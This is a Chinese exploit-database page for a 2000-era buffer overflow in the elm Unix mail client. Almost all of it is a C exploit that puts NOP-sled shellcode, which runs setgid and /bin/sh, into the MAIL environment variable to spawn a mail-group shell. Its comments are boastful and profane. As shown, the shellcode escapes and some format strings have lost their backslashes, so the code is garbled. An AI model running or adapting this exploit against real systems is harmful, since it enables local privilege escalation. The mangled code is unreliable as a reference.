Elm Development Group ELM 2.4/2.5.1 Mail for UNIX – ELM Buffer Overflow (1)
漏洞ID | 1053445 | 漏洞类型 | |
发布时间 | 2000-05-07 | 更新时间 | 2000-05-07 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Unix | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
// source: http://www.securityfocus.com/bid/1276/info
//
// Buffer overflow vulnerabilities exist in elm (Electronic Mail for Unix).
//
/*
Elm Exploit - Scrippie - #Phreak.nl - b0f -
http://b0f.freebsd.lublin.pl
This exploit spawns an EGID mail shell on the default Slackware 4
install.
Use as: elm-smash [mail-gid] [offset]
Not that EGID=mail has got any use, but hey, think of it as group
eleviation :)
Take care and till next time!
*/
#include <stdio.h>
#define NUMNOPS 193 // If you change this, you gonna have to
change
// the entire sploit ;)
// Shellcode does: setgid(12); execve("/bin/sh");
char
shellcode[]="xebx29x5ex31xc0xb0x2ex31xdbxb3x0cxcdx80x89x76"
"x08x31xc0x88x46x07x89x46x0cxb0x0bx89xf3x8dx4ex08x8dx56x0c"
"xcdx80x31xdbx89xd8x40xcdx80xe8xd2xffxffxffx2fx62x69x6ex2f"
"x73x68";
// Oh no! Where the fuck is my code on the stack?
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
// Thanx for telling me lad :)
main(int argc, char **argv)
{
int i, offset=-300; // Offset works for my box
char gid=12;
long addy;
char *thaCode;
char *mailGid;
if(argc > 1) {
gid = (char) atoi(argv[1]);
mailGid = (char *)strchr(shellcode, 0x0c);
*mailGid = gid;
}
if(argc > 2) offset = atoi(argv[2]);
if(!(thaCode = (char *) malloc(NUMNOPS+sizeof(shellcode)+5))) {
fprintf(stderr, "Contact your admin and tell him to buy more
RAMn");
exit(-1);
}
addy = get_sp() - offset;
printf("/-----------------------------------------------\n");
printf("| Slack 4/Elm exploit - Scrippie |n");
printf("\-----------------------------------------------/n");
printf("Assuming sgid(elm) = %dn", (int) gid);
printf("Using ret addr = %xn", addy);
printf("You're now EUID=mail, take care :-pn");
printf("Please run "reset" when this worksn");
sleep(4);
memset(thaCode, 0x90, NUMNOPS);
thaCode[NUMNOPS] = 0x00; // Set to NULL to make strcat() work
strcat(thaCode, shellcode);
memcpy(thaCode + strlen(thaCode), (void *) &addy, 4);
setenv("MAIL", thaCode, 1); // We're going to be nasty now :)
if((execl("/usr/bin/elm", "/usr/bin/elm", NULL)) == -1) {
perror("execl()");
exit(-1);
}
exit(0);
}
相关推荐: IRIX disk_bandwidth Vulnerability
IRIX disk_bandwidth Vulnerability 漏洞ID 1104899 漏洞类型 Environment Error 发布时间 1998-07-20 更新时间 1998-07-20 CVE编号 N/A CNNVD-ID N/A 漏洞平台 …
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666